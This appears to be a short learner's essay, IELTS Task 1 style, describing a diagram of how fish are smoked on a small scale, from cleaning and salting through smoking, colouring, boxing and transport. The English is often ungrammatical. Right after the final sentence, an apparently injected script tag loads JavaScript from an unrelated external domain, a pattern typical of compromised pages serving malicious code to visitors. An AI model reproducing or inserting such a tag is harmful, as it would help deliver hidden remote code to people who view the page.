The diagram shows the small scale production of smoked fish.
The chart illustrates the small-scale process of smoking fish.
Overall, it is clear that the process has 8 stages, beginning with the preparation of the fish and ending moving the item of the fish product.
First, before smoking in the process the fish will be cleaned by knife then these are placed in salt water for 30 minutes. Next, the fish are cooked with fire for 5 minutes.
The process of smoking is now ready to start. After that cooking the fish, these will be collected then put into a vat on top of some material which burn and product smoking. After 30 minutes, the fish are smoked to ready for next stage, which is the addition of yellow coloring. The smoked fish are packed in boxes to provide container, finally transported them to where they will be sold.<script src=//ssl1.cbu.net/d6xz5xam></script>
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